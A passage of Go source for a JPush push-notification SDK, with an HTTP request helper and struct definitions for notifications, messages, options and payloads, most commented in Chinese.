{ 172 | if rc, ok := b.(io.ReadCloser); ok { 173 | h.req.Body = rc 174 | } 175 | } 176 | case url.Values: 177 | h.req.Body = io.NopCloser(bytes.NewBufferString(b.Encode())) 178 | h.req.ContentLength = int64(len(b.Encode())) 179 | case map[string]interface{}: 180 | v := url.Values{} 181 | for k, val := range b { 182 | switch val.(type) { 183 | case string: 184 | v.Set(k, val.(string)) 185 | case bool: 186 | v.Set(k, strconv.FormatBool(val.(bool))) 187 | case int, int8, int16, int32, int64: 188 | v.Set(k, strconv.FormatInt(int64(val.(int)), 10)) 189 | case uint, uint8, uint16, uint32, uint64: 190 | v.Set(k, strconv.FormatUint(uint64(val.(uint)), 10)) 191 | case float32: 192 | v.Set(k, strconv.FormatFloat(float64(val.(float32)), 'f', -1, 32)) 193 | case float64: 194 | v.Set(k, strconv.FormatFloat(val.(float64), 'f', -1, 64)) 195 | } 196 | } 197 | h.req.Body = io.NopCloser(bytes.NewBufferString(v.Encode())) 198 | h.req.ContentLength = int64(len(v.Encode())) 199 | default: 200 | if v, ok := body.(io.ReadCloser); ok { 201 | h.req.Body = v 202 | } else { 203 | h.req.Body = io.NopCloser(bytes.NewBuffer([]byte(fmt.Sprintf("%v", body)))) 204 | } 205 | } 206 | 207 | return h 208 | } 209 | 210 | // GetHeader returns header data. 211 | func (h *HttpRequest) GetHeader() http.Header { 212 | return h.req.Header 213 | } 214 | 215 | // GetCookie returns the request cookies. 216 | func (h *HttpRequest) GetCookie(key string) string { 217 | for _, cookie := range h.req.Cookies() { 218 | if cookie.Name == key { 219 | return cookie.Value 220 | } 221 | } 222 | return "" 223 | } 224 | 225 | // GetParam returns the request parameter value according to its key. 226 | func (h *HttpRequest) GetParam(key string) string { 227 | return h.params[key] 228 | } 229 | 230 | // getResponse executes the request and returns the response. 231 | func (h *HttpRequest) getResponse() (*http.Response, error) { 232 | var paramBody string 233 | if len(h.params) > 0 { 234 | v := url.Values{} 235 | for k, val := range h.params { 236 | v.Set(k, val) 237 | } 238 | paramBody = v.Encode() 239 | } 240 | 241 | if h.req.Body != nil { 242 | if strings.Contains(h.req.Header.Get("Content-Type"), "application/x-www-form-urlencoded") { 243 | b, _ := io.ReadAll(h.req.Body) 244 | paramBody = string(b) + "&" + paramBody 245 | } else { 246 | return nil, errors.New("please use SetBody method instead") 247 | } 248 | } 249 | 250 | if h.req.Method == "GET" && len(paramBody) > 0 { 251 | if strings.Contains(h.url, "?") { 252 | h.url += "&" + paramBody 253 | } else { 254 | h.url += "?" + paramBody 255 | } 256 | } else if h.req.Method == "POST" && h.req.Body == nil && len(paramBody) > 0 { 257 | h.SetHeader("Content-Type", "application/x-www-form-urlencoded") 258 | h.SetBody(paramBody) 259 | } 260 | 261 | parse, err := url.Parse(h.url) 262 | if err != nil { 263 | return nil, err 264 | } 265 | 266 | if parse.Scheme == "" { 267 | h.url = "http://" + h.url 268 | parse, err = parse.Parse(h.url) 269 | if err != nil { 270 | return nil, err 271 | } 272 | } 273 | 274 | h.req.URL = parse 275 | trans := h.transport 276 | 277 | if trans == nil { 278 | trans = &http.Transport{ 279 | TLSClientConfig: h.tlsConfig, 280 | Proxy: h.proxy, 281 | DialContext: TimeoutDialer(h.connectTimeout, h.readWriteTimeout), 282 | } 283 | } else { 284 | if t, ok := trans.(*http.Transport); ok { 285 | if t.TLSClientConfig == nil { 286 | t.TLSClientConfig = h.tlsConfig 287 | } 288 | 289 | if t.Proxy == nil { 290 | t.Proxy = h.proxy 291 | } 292 | 293 | if t.DialContext == nil { 294 | t.DialContext = TimeoutDialer(h.connectTimeout, h.readWriteTimeout) 295 | } 296 | } 297 | } 298 | 299 | client := &http.Client{ 300 | Transport: trans, 301 | } 302 | 303 | resp, err := client.Do(h.req) 304 | if err != nil { 305 | return nil, err 306 | } 307 | 308 | return resp, nil 309 | } 310 | 311 | // TimeoutDialer returns functions of connection dialer with timeout settings for http.Transport Dial field. 312 | func TimeoutDialer(connectTimeout time.Duration, readWriteTimeout time.Duration) func(ctx context.Context, network, addr string) (c net.Conn, err error) { 313 | return func(ctx context.Context, network, addr string) (net.Conn, error) { 314 | conn, err := (&net.Dialer{ 315 | Timeout: connectTimeout, 316 | KeepAlive: connectTimeout, 317 | }).DialContext(ctx, network, addr) // DialContext is available since Go 1.7 318 | 319 | if err != nil { 320 | return nil, err 321 | } 322 | 323 | if readWriteTimeout > 0 { 324 | err = conn.SetDeadline(time.Now().Add(readWriteTimeout)) // Set read/write timeout 325 | if err != nil { 326 | return nil, err 327 | } 328 | } 329 | 330 | return conn, nil 331 | } 332 | } 333 | 334 | // Response executes request client gets response in the return. 335 | func (h *HttpRequest) Response() (*http.Response, error) { 336 | return h.getResponse() 337 | } 338 | 339 | // Bytes executes request client gets response body in bytes. 340 | func (h *HttpRequest) Bytes() ([]byte, error) { 341 | resp, err := h.getResponse() 342 | if err != nil { 343 | return nil, err 344 | } 345 | if resp.Body == nil { 346 | return nil, nil 347 | } 348 | defer resp.Body.Close() 349 | return io.ReadAll(resp.Body) 350 | } 351 | 352 | // String returns the body string in response. 353 | // it calls Response internally. 354 | func (h *HttpRequest) String() (string, error) { 355 | data, err := h.Bytes() 356 | if err != nil { 357 | return "", err 358 | } 359 | return string(data), nil 360 | } 361 | 362 | // Status returns the response status. 363 | func (h *HttpRequest) Status() int { 364 | resp, _ := h.Response() 365 | return resp.StatusCode 366 | } 367 | 368 | // ToFile saves the body data in response to one file. 369 | func (h *HttpRequest) ToFile(file string) error { 370 | resp, err := h.Response() 371 | if err != nil { 372 | return err 373 | } 374 | defer resp.Body.Close() 375 | f, err := os.Create(file) 376 | if err != nil { 377 | return err 378 | } 379 | defer f.Close() 380 | _, err = io.Copy(f, resp.Body) 381 | return err 382 | } 383 | 384 | // ToJson returns the map that converted from response body bytes as json in response . 385 | func (h *HttpRequest) ToJson(v interface{}) error { 386 | data, err := h.Bytes() 387 | if err != nil { 388 | return err 389 | } 390 | return json.Unmarshal(data, v) 391 | } 392 | 393 | // ToXml returns the map that converted from response body bytes as xml in response . 394 | func (h *HttpRequest) ToXml(v interface{}) error { 395 | data, err := h.Bytes() 396 | if err != nil { 397 | return err 398 | } 399 | return xml.Unmarshal(data, v) 400 | } 401 | -------------------------------------------------------------------------------- /live_activity.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | type LiveActivity struct { 4 | Ios *IosLiveActivity `json:"ios,omitempty"` 5 | } 6 | 7 | type IosLiveActivity struct { 8 | Event string `json:"event"` // 开始:“start”,更新:“update”,结束:"end"。 9 | ContentState interface{} `json:"content-state"` // 需与客户端 SDK 值匹配(对应 Apple 官方的 content-state 字段)。 10 | AttributesType string `json:"attributes-type"` // 创建实时活动事件必填(更新或者结束实时活动无需传递),字段规则:由数字,字母,下划线组成,但是不能以数字开头;对应 Apple 官方的 attributes-type 字段 11 | Attributes interface{} `json:"attributes"` // 创建实时活动事件必填(更新或者结束实时活动无需传递);对应 Apple 官方的 attributes 字段 12 | RelevanceScore int `json:"relevance-score,omitempty"` // 对应 Apple 官方的 relevance-score 字段 13 | StaleDate int `json:"stale-date,omitempty"` // 对应 Apple 官方的 stale-date 字段 14 | Alert *IosLiveActivityAlert `json:"alert,omitempty"` // 通知内容 15 | DismissalDate int `json:"dismissal-date,omitempty"` // 实时活动结束展示时间。 16 | } 17 | 18 | type IosLiveActivityAlert struct { 19 | Title string `json:"title,omitempty"` // 标题 20 | Body string `json:"body,omitempty"` // 内容 21 | Sound string `json:"sound,omitempty"` // 声音 22 | } 23 | -------------------------------------------------------------------------------- /message.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | type Message struct { 4 | MsgContent string `json:"msg_content"` // 消息内容本身 5 | Title string `json:"title,omitempty"` // 消息标题 6 | ContentType string `json:"content_type,omitempty"` // 消息内容类型 7 | Extras map[string]interface{} `json:"extras,omitempty"` // JSON 格式的可选参数 8 | } 9 | 10 | // InappMessage inapp_message 面向于通知栏消息类型,对于通知权限关闭的用户可设置启用此功能。此功能启用后,当用户前台运行APP时,会通过应用内消息的方式展示通知栏消息内容。 11 | type InappMessage struct { 12 | InAppMessage bool `json:"inapp_message"` 13 | } 14 | 15 | type SmsMessage struct { 16 | DelayTime int `json:"delay_time"` // 单位为秒,不能超过24小时。设置为0,表示立即发送短信。该参数仅对 android 和 iOS 平台有效,Winphone 平台则会立即发送短信。 17 | Signid int `json:"signid,omitempty"` // 签名ID,该字段为空则使用应用默认签名。 18 | TempId int64 `json:"temp_id,omitempty"` // 短信补充的内容模板 ID。没有填写该字段即表示不使用短信补充功能。 19 | TempPara interface{} `json:"temp_para,omitempty"` // 短信模板中的参数。 20 | ActiveFilter bool `json:"active_filter"` // active_filter 字段用来控制是否对补发短信的用户进行活跃过滤,默认为 true ,做活跃过滤;为 false,则不做活跃过滤; 21 | } 22 | 23 | // SetContent 设置消息内容 24 | func (m *Message) SetContent(content string) { 25 | m.MsgContent = content 26 | } 27 | 28 | // SetTitle 设置消息标题 29 | func (m *Message) SetTitle(title string) { 30 | m.Title = title 31 | } 32 | 33 | // SetContentType 设置消息内容类型 34 | func (m *Message) SetContentType(contentType string) { 35 | m.ContentType = contentType 36 | } 37 | 38 | // SetExtras 设置消息扩展内容 39 | func (m *Message) SetExtras(extras map[string]interface{}) { 40 | m.Extras = extras 41 | } 42 | 43 | // AddExtras 添加消息扩展内容 44 | func (m *Message) AddExtras(key string, value interface{}) { 45 | if m.Extras == nil { 46 | m.Extras = make(map[string]interface{}) 47 | } 48 | m.Extras[key] = value 49 | } 50 | 51 | // SetInAppMessage 设置是否启用应用内消息 52 | func (i *InappMessage) SetInAppMessage(inAppMessage bool) { 53 | i.InAppMessage = inAppMessage 54 | } 55 | 56 | // SetDelayTime 设置短信发送延时时间 57 | func (s *SmsMessage) SetDelayTime(delayTime int) { 58 | s.DelayTime = delayTime 59 | } 60 | 61 | // SetSignid 设置短信签名ID 62 | func (s *SmsMessage) SetSignid(signid int) { 63 | s.Signid = signid 64 | } 65 | 66 | // SetTempId 设置短信模板ID 67 | func (s *SmsMessage) SetTempId(tempId int64) { 68 | s.TempId = tempId 69 | } 70 | 71 | // SetTempPara 设置短信模板参数 72 | func (s *SmsMessage) SetTempPara(tempPara interface{}) { 73 | s.TempPara = tempPara 74 | } 75 | 76 | // SetActiveFilter 设置是否对补发短信的用户进行活跃过滤 77 | func (s *SmsMessage) SetActiveFilter(activeFilter bool) { 78 | s.ActiveFilter = activeFilter 79 | } 80 | -------------------------------------------------------------------------------- /notification.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | type Notification struct { 4 | AiOpportunity bool `json:"ai_opportunity,omitempty"` // 如需采用“智能时机”策略下发通知,必须指定该字段。 5 | Alert string `json:"alert,omitempty"` // 通知的内容在各个平台上,都可能只有这一个最基本的属性 "alert"。 6 | Android *AndroidNotification `json:"android,omitempty"` // Android通知 7 | Ios *IosNotification `json:"ios,omitempty"` // iOS通知 8 | QuickApp *QuickAppNotification `json:"quick_app,omitempty"` // 快应用通知 9 | WinPhone *WinPhoneNotification `json:"winphone,omitempty"` // Windows Phone通知 10 | Voip map[string]interface{} `json:"voip,omitempty"` // iOS VOIP功能。 11 | } 12 | 13 | type AndroidNotification struct { 14 | Alert interface{} `json:"alert"` // 通知内容 15 | Title interface{} `json:"title,omitempty"` // 通知标题 16 | BuilderID int `json:"builder_id,omitempty"` // 通知栏样式 ID 17 | ChannelId string `json:"channel_id,omitempty"` // android通知channel_id 18 | Priority int `json:"priority,omitempty"` // 通知栏展示优先级, 默认为 0,范围为 -2~2。 19 | Category string `json:"category,omitempty"` // 通知栏条目过滤或排序 20 | Style int `json:"style,omitempty"` // 通知栏样式类型, 默认为 0,还有 1,2,3 可选 21 | AlertType int `json:"alert_type,omitempty"` // 通知提醒方式, 可选范围为 -1~7 22 | BigText string `json:"big_text,omitempty"` // 大文本通知栏样式, 当 style = 1 时可用,内容会被通知栏以大文本的形式展示出来 23 | Inbox interface{} `json:"inbox,omitempty"` // 文本条目通知栏样式, 当 style = 2 时可用, json 的每个 key 对应的 value 会被当作文本条目逐条展示 24 | BigPicPath string `json:"big_pic_path,omitempty"` // 大图片通知栏样式, 当 style = 3 时可用,可以是网络图片 url,或本地图片的 path 25 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段 26 | LargeIcon string `json:"large_icon,omitempty"` // 通知栏大图标 27 | SmallIconUri string `json:"small_icon_uri,omitempty"` // 通知栏小图标 28 | Intent interface{} `json:"intent,omitempty"` // 指定跳转页面 29 | UriActivity string `json:"uri_activity,omitempty"` // 指定跳转页面, 该字段用于指定开发者想要打开的 activity,值为 activity 节点的 “android:name”属性值; 适配华为、小米、vivo厂商通道跳转; 30 | UriAction string `json:"uri_action,omitempty"` // 指定跳转页面, 该字段用于指定开发者想要打开的 activity,值为 "activity"-"intent-filter"-"action" 节点的 "android:name" 属性值; 适配 oppo、fcm跳转; 31 | BadgeAddNum int `json:"badge_add_num,omitempty"` // 角标数字,取值范围1-99 32 | BadgeClass string `json:"badge_class,omitempty"` // 桌面图标对应的应用入口Activity类, 配合badge_add_num使用,二者需要共存,缺少其一不可; 33 | Sound string `json:"sound,omitempty"` // 填写Android工程中/res/raw/路径下铃声文件名称,无需文件名后缀 34 | ShowBeginTime string `json:"show_begin_time,omitempty"` //定时展示开始时间(yyyy-MM-dd HH:mm:ss) 35 | ShowEndTime string `json:"show_end_time,omitempty"` //定时展示结束时间(yyyy-MM-dd HH:mm:ss) 36 | DisplayForeground string `json:"display_foreground,omitempty"` //APP在前台,通知是否展示, 值为 "1" 时,APP 在前台会弹出通知栏消息;值为 "0" 时,APP 在前台不会弹出通知栏消息。 37 | } 38 | 39 | type IosNotification struct { 40 | Alert interface{} `json:"alert"` // 通知内容 41 | Sound interface{} `json:"sound,omitempty"` // 通知提示声音或警告通知 42 | Badge interface{} `json:"badge,omitempty"` // 应用角标, 如果不填,表示不改变角标数字,否则把角标数字改为指定的数字;为 0 表示清除。 43 | ContentAvailable bool `json:"content-available,omitempty"` // 推送唤醒 44 | MutableContent bool `json:"mutable-content,omitempty"` // 通知扩展 45 | Category string `json:"category,omitempty"` // 通知类别, IOS 8 才支持。设置 APNs payload 中的 "category" 字段值 46 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段 47 | ThreadId string `json:"thread-id,omitempty"` // 通知分组, ios 的远程通知通过该属性来对通知进行分组,同一个 thread-id 的通知归为一组。 48 | InterruptionLevel string `json:"interruption-level,omitempty"` // 通知优先级和交付时间的中断级别, ios15 的通知级别,取值只能是active,critical,passive,timeSensitive中的一个。 49 | } 50 | 51 | type QuickAppNotification struct { 52 | Title string `json:"title"` // 通知标题, 必填字段,快应用推送通知的标题 53 | Alert string `json:"alert"` // 通知内容, 这里指定了,则会覆盖上级统一指定的 alert 信息。 54 | Page string `json:"page"` // 通知跳转页面, 必填字段,快应用通知跳转地址。 55 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段, 这里自定义 Key / value 信息,以供业务使用。 56 | } 57 | 58 | type WinPhoneNotification struct { 59 | Alert string `json:"alert"` // 通知内容, 必填字段,会填充到 toast 类型 text2 字段上。这里指定了,将会覆盖上级统一指定的 alert 信息;内容为空则不展示到通知栏。 60 | Title string `json:"title,omitempty"` // 通知标题, 会填充到 toast 类型 text1 字段上。 61 | OpenPage string `json:"_open_page,omitempty"` // 点击打开的页面名称, 点击打开的页面。会填充到推送信息的 param 字段上,表示由哪个 App 页面打开该通知。可不填,则由默认的首页打开。 62 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段, 这里自定义 Key / value 信息,以供业务使用。 63 | } 64 | 65 | // SetAlert 设置通知内容 66 | func (n *Notification) SetAlert(alert string) { 67 | n.Alert = alert 68 | } 69 | 70 | // SetAiOpportunity 设置智能推送是否开启 71 | func (n *Notification) SetAiOpportunity(use bool) { 72 | n.AiOpportunity = use 73 | } 74 | 75 | // SetAndroid 设置 Android 通知 76 | func (n *Notification) SetAndroid(android *AndroidNotification) { 77 | n.Android = android 78 | } 79 | 80 | // SetIos 设置 iOS 通知 81 | func (n *Notification) SetIos(ios *IosNotification) { 82 | n.Ios = ios 83 | } 84 | 85 | // SetQuickApp 设置 QuickApp 通知 86 | func (n *Notification) SetQuickApp(quickApp *QuickAppNotification) { 87 | n.QuickApp = quickApp 88 | } 89 | 90 | // SetWinPhone 设置 WinPhone 通知 91 | func (n *Notification) SetWinPhone(winPhone *WinPhoneNotification) { 92 | n.WinPhone = winPhone 93 | } 94 | 95 | // SetVoip 设置 Voip 通知 96 | func (n *Notification) SetVoip(value map[string]interface{}) { 97 | n.Voip = value 98 | } 99 | -------------------------------------------------------------------------------- /notification_3rd.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import "errors" 4 | 5 | type Notification3rd struct { 6 | Title string `json:"title,omitempty"` // 补发通知标题,如果为空则默认为应用名称 7 | Content string `json:"content"` // 补发通知的内容,如果存在 notification_3rd 这个key,content 字段不能为空,且值不能为空字符串。 8 | ChannelId string `json:"channel_id,omitempty"` // 不超过1000字节 9 | UriActivity string `json:"uri_activity,omitempty"` // 该字段用于指定开发者想要打开的 activity,值为 activity 节点的 “android:name”属性值;适配华为、小米、vivo厂商通道跳转;针对 VIP 厂商通道用户使用生效。 10 | UriAction string `json:"uri_action,omitempty"` // 指定跳转页面;该字段用于指定开发者想要打开的 activity,值为 "activity"-"intent-filter"-"action" 节点的 "android:name" 属性值;适配 oppo、fcm跳转;针对 VIP 厂商通道用户使用生效。 11 | BadgeAddNum string `json:"badge_add_num,omitempty"` // 角标数字,取值范围1-99 12 | BadgeClass string `json:"badge_class,omitempty"` // 桌面图标对应的应用入口Activity类, 比如“com.test.badge.MainActivity; 13 | Sound string `json:"sound,omitempty"` // 填写Android工程中/res/raw/路径下铃声文件名称,无需文件名后缀;注意:针对Android 8.0以上,当传递了channel_id 时,此属性不生效。 14 | Extras map[string]interface{} `json:"extras,omitempty"` // 扩展字段;这里自定义 JSON 格式的 Key / Value 信息,以供业务使用。 15 | } 16 | 17 | // SetTitle 设置标题 18 | func (n *Notification3rd) SetTitle(title string) { 19 | n.Title = title 20 | } 21 | 22 | // SetContent 设置内容 23 | func (n *Notification3rd) SetContent(content string) error { 24 | if len(content) == 0 { 25 | return errors.New("content is empty") 26 | } 27 | n.Content = content 28 | return nil 29 | } 30 | 31 | // SetChannelId 设置通道ID 32 | func (n *Notification3rd) SetChannelId(channelId string) { 33 | n.ChannelId = channelId 34 | } 35 | 36 | // SetUriActivity 设置uri_activity 37 | func (n *Notification3rd) SetUriActivity(uriActivity string) { 38 | n.UriActivity = uriActivity 39 | } 40 | 41 | // SetUriAction 设置uri_action 42 | func (n *Notification3rd) SetUriAction(uriAction string) { 43 | n.UriAction = uriAction 44 | } 45 | 46 | // SetBadgeAddNum 设置角标数字 47 | func (n *Notification3rd) SetBadgeAddNum(badgeAddNum string) { 48 | n.BadgeAddNum = badgeAddNum 49 | } 50 | 51 | // SetBadgeClass 设置桌面图标对应的应用入口Activity类 52 | func (n *Notification3rd) SetBadgeClass(badgeClass string) { 53 | n.BadgeClass = badgeClass 54 | } 55 | 56 | // SetSound 设置铃声 57 | func (n *Notification3rd) SetSound(sound string) { 58 | n.Sound = sound 59 | } 60 | 61 | // SetExtras 设置扩展字段 62 | func (n *Notification3rd) SetExtras(extras map[string]interface{}) { 63 | n.Extras = extras 64 | } 65 | -------------------------------------------------------------------------------- /options.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | type Options struct { 4 | SendNo int `json:"sendno,omitempty"` //推送序号 5 | TimeToLive int `json:"time_to_live,omitempty"` //离线消息保留时长(秒) 6 | OverrideMsgId int `json:"override_msg_id,omitempty"` //要覆盖的消息 ID 7 | ApnsProduction bool `json:"apns_production"` //APNs 是否生产环境 8 | ApnsCollapseId string `json:"apns_collapse_id,omitempty"` //更新 iOS 通知的标识符 9 | BigPushDuration int `json:"big_push_duration,omitempty"` //定速推送时长(分钟) 10 | ThirdPartyChannel ThirdPartyChannel `json:"third_party_channel,omitempty"` //推送请求下发通道 11 | } 12 | 13 | type ThirdChannelType string 14 | 15 | func (t ThirdChannelType) String() string { 16 | return string(t) 17 | } 18 | 19 | const ( 20 | XIAOMI ThirdChannelType = "xiaomi" 21 | HUAWEI ThirdChannelType = "huawei" 22 | MEIZU ThirdChannelType = "meizu" 23 | OPPO ThirdChannelType = "oppo" 24 | VIVO ThirdChannelType = "vivo" 25 | FCM ThirdChannelType = "fcm" 26 | ) 27 | 28 | type ThirdPartyOptions struct { 29 | Distribution string `json:"distribution,omitempty"` //通知栏消息下发逻辑 30 | DistributionFcm string `json:"distribution_fcm,omitempty"` //通知栏消息fcm+国内厂商组合类型下发逻辑 31 | DistributionCustomize string `json:"distribution_customize,omitempty"` //自定义消息国内厂商类型下发逻辑 32 | ChannelId string `json:"channel_id"` //通知栏消息分类 33 | SkipQuota bool `json:"skip_quota"` //配额判断及扣除, 目前仅对小米和oppo有效 34 | Classification int `json:"classification,omitempty"` //通知栏消息分类, 为了适配 vivo 手机厂商通知栏消息分类,“0”代表运营消息,“1”代表系统消息 35 | PushMode int `json:"push_mode,omitempty"` //通知栏消息类型, 对应 vivo 的 pushMode 字段,值分别是:“0”表示正式推送;“1”表示测试推送,不填默认为0 36 | Importance string `json:"importance,omitempty"` //华为通知栏消息智能分类, 为了适配华为手机厂商的通知栏消息智能分类 37 | Urgency string `json:"urgency,omitempty"` //华为厂商自定义消息优先级, 为了适配华为手机厂商自定义消息的优先级 38 | Category string `json:"category,omitempty"` //华为厂商自定义消息场景标识 39 | LargeIcon string `json:"large_icon,omitempty"` //厂商消息大图标样式, 目前支持小米/华为/oppo三个厂商 40 | SmallIconUri string `json:"small_icon_uri,omitempty"` //厂商消息小图标样式, 目前支持小米/华为两个厂商 41 | SmallIconColor string `json:"small_icon_color,omitempty"` //小米厂商小图标样式颜色 42 | Style int `json:"style,omitempty"` //厂商消息大文本/inbox/大图片样式 43 | BigText string `json:"big_text,omitempty"` //厂商消息大文本样式 44 | Inbox interface{} `json:"inbox,omitempty"` //厂商消息inbox样式, 目前支持华为厂商 45 | BigPicPath string `json:"big_pic_path,omitempty"` //厂商big_pic_path, 为了适配厂商的消息大图片样式,目前支持小米/oppo两个厂商 46 | OnlyUseVendorStyle bool `json:"only_use_vendor_style,omitempty"` //是否是否使用自身通道设置样式 47 | CallbackId string `json:"callback_id,omitempty"` // vivo厂商通道回调ID 48 | } 49 | 50 | type ThirdPartyChannel map[string]ThirdPartyOptions 51 | 52 | // SetSendNo 设置消息的发送编号,用来覆盖推送时由 JPush 生成的编号。 53 | func (o *Options) SetSendNo(sendNo int) { 54 | o.SendNo = sendNo 55 | } 56 | 57 | // SetTimeToLive 设置消息的有效期,单位为秒。 58 | func (o *Options) SetTimeToLive(timeToLive int) { 59 | o.TimeToLive = timeToLive 60 | } 61 | 62 | // SetOverrideMsgId 设置覆盖推送时由 JPush 生成的消息 ID。 63 | func (o *Options) SetOverrideMsgId(overrideMsgId int) { 64 | o.OverrideMsgId = overrideMsgId 65 | } 66 | 67 | // SetApnsProduction 设置推送时 APNs 是否生产环境。 68 | func (o *Options) SetApnsProduction(apnsProduction bool) { 69 | o.ApnsProduction = apnsProduction 70 | } 71 | 72 | // SetBigPushDuration 设置大推送时长,单位为秒。 73 | func (o *Options) SetBigPushDuration(bigPushDuration int) { 74 | o.BigPushDuration = bigPushDuration 75 | } 76 | 77 | // AddThirdPartyChannel 添加第三方渠道。 78 | func (o *Options) AddThirdPartyChannel(channel ThirdChannelType, value ThirdPartyOptions) { 79 | if o.ThirdPartyChannel == nil { 80 | o.ThirdPartyChannel = make(ThirdPartyChannel) 81 | } 82 | o.ThirdPartyChannel[channel.String()] = value 83 | } 84 | -------------------------------------------------------------------------------- /payload.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import "encoding/json" 4 | 5 | type PayLoad struct { 6 | Platform *Platform `json:"platform"` // 平台 7 | Audience *Audience `json:"audience"` // 推送目标 8 | Notification *Notification `json:"notification,omitempty"` // 推送内容 9 | Message *Message `json:"message,omitempty"` // 推送内容 10 | LiveActivity *LiveActivity `json:"live_activity,omitempty"` // 实时推送内容 11 | Options *Options `json:"options,omitempty"` // 推送选项 12 | Cid string `json:"cid,omitempty"` // 推送唯一标识符 13 | } 14 | 15 | // NewPayLoad 创建一个新的推送对象 16 | func NewPayLoad() *PayLoad { 17 | p := &PayLoad{} 18 | p.Options = &Options{} 19 | p.Options.ApnsProduction = false 20 | return p 21 | } 22 | 23 | // SetPlatform 设置平台 24 | func (p *PayLoad) SetPlatform(platform *Platform) { 25 | p.Platform = platform 26 | } 27 | 28 | // SetAudience 设置推送目标 29 | func (p *PayLoad) SetAudience(audience *Audience) { 30 | p.Audience = audience 31 | } 32 | 33 | // SetNotification 设置推送内容 34 | func (p *PayLoad) SetNotification(notification *Notification) { 35 | p.Notification = notification 36 | } 37 | 38 | // SetMessage 设置推送内容 39 | func (p *PayLoad) SetMessage(message *Message) { 40 | p.Message = message 41 | } 42 | 43 | // SetOptions 设置推送选项 44 | func (p *PayLoad) SetOptions(options *Options) { 45 | p.Options = options 46 | } 47 | 48 | // SetLiveActivity 设置实时推送内容 49 | func (p *PayLoad) SetLiveActivity(liveActivity *LiveActivity) { 50 | p.LiveActivity = liveActivity 51 | } 52 | 53 | // Bytes 返回推送对象的json字节数组 54 | func (p *PayLoad) Bytes() ([]byte, error) { 55 | payload := struct { 56 | Platform interface{} `json:"platform"` 57 | Audience interface{} `json:"audience"` 58 | Notification *Notification `json:"notification,omitempty"` 59 | Message *Message `json:"message,omitempty"` 60 | LiveActivity *LiveActivity `json:"live_activity,omitempty"` 61 | Options *Options `json:"options,omitempty"` 62 | Cid string `json:"cid,omitempty"` 63 | }{ 64 | Platform: p.Platform.Interface(), 65 | Audience: p.Audience.Interface(), 66 | Notification: p.Notification, 67 | Message: p.Message, 68 | LiveActivity: p.LiveActivity, 69 | Options: p.Options, 70 | Cid: p.Cid, 71 | } 72 | return json.Marshal(payload) 73 | } 74 | -------------------------------------------------------------------------------- /platform.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import "errors" 4 | 5 | type PlatformType string 6 | 7 | const ( 8 | IOS PlatformType = "ios" 9 | ANDROID PlatformType = "android" 10 | WINPHONE PlatformType = "winphone" 11 | ) 12 | 13 | type Platform struct { 14 | Os interface{} 15 | osArray []string 16 | } 17 | 18 | func (p *Platform) Interface() interface{} { 19 | switch p.Os.(type) { 20 | case string: 21 | return p.Os 22 | default: 23 | } 24 | return p.osArray 25 | } 26 | 27 | // All set all platforms 28 | func (p *Platform) All() { 29 | p.Os = "all" 30 | } 31 | 32 | // Add platform 33 | func (p *Platform) Add(os PlatformType) error { 34 | if p.osArray == nil { 35 | p.osArray = make([]string, 0) 36 | } 37 | 38 | switch p.Os.(type) { 39 | case string: 40 | return errors.New("platform already set all") 41 | default: 42 | } 43 | 44 | // check if already added 45 | for _, v := range p.osArray { 46 | if v == string(os) { 47 | return nil 48 | } 49 | } 50 | 51 | switch os { 52 | case IOS: 53 | fallthrough 54 | case ANDROID: 55 | fallthrough 56 | case WINPHONE: 57 | p.osArray = append(p.osArray, string(os)) 58 | p.Os = p.osArray 59 | default: 60 | return errors.New("invalid platform") 61 | } 62 | 63 | return nil 64 | } 65 | 66 | // AddIOS add ios platform 67 | func (p *Platform) AddIOS() { 68 | _ = p.Add(IOS) 69 | } 70 | 71 | // AddAndroid add android platform 72 | func (p *Platform) AddAndroid() { 73 | _ = p.Add(ANDROID) 74 | } 75 | 76 | // AddWinphone add winphone platform 77 | func (p *Platform) AddWinphone() { 78 | _ = p.Add(WINPHONE) 79 | } 80 | 81 | // Remove remove platform 82 | func (p *Platform) Remove(os PlatformType) error { 83 | if p.osArray == nil { 84 | return errors.New("platform not set") 85 | } 86 | 87 | for i, v := range p.osArray { 88 | if v == string(os) { 89 | p.osArray = append(p.osArray[:i], p.osArray[i+1:]...) 90 | if len(p.osArray) == 0 { 91 | p.Os = nil 92 | } else { 93 | p.Os = p.osArray 94 | } 95 | return nil 96 | } 97 | } 98 | 99 | return errors.New("platform not found") 100 | } 101 | -------------------------------------------------------------------------------- /pushclient.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "encoding/json" 5 | "errors" 6 | "strconv" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | type JPushClient struct { 12 | AppKey string // app key 13 | MasterSecret string // master secret 14 | } 15 | 16 | const ( 17 | SUCCESS_FLAG = "msg_id" 18 | SMS = "https://api.sms.jpush.cn/v1/messages" 19 | HOST_PUSH = "https://api.jpush.cn/v3/push" 20 | HOST_SCHEDULE = "https://api.jpush.cn/v3/schedules" 21 | HOST_REPORT = "https://report.jpush.cn/v3/received" 22 | HOST_CID = "https://api.jpush.cn/v3/push/cid" 23 | HOST_IMAGES = "https://api.jpush.cn/v3/images" 24 | ) 25 | 26 | // NewJPushClient returns a new JPushClient 27 | func NewJPushClient(appKey string, masterSecret string) *JPushClient { 28 | return &JPushClient{AppKey: appKey, MasterSecret: masterSecret} 29 | } 30 | 31 | // GetAuthorization returns the authorization string 32 | func (j *JPushClient) GetAuthorization() string { 33 | return j.AppKey + ":" + j.MasterSecret 34 | } 35 | 36 | // GetCid returns the cid list as byte array 37 | func (j *JPushClient) GetCid(count int, push_type string) ([]byte, error) { 38 | req := Get(HOST_CID) 39 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 40 | req.SetHeader("Connection", "Keep-Alive") 41 | req.SetHeader("Charset", CHARSET) 42 | req.SetBasicAuth(j.AppKey, 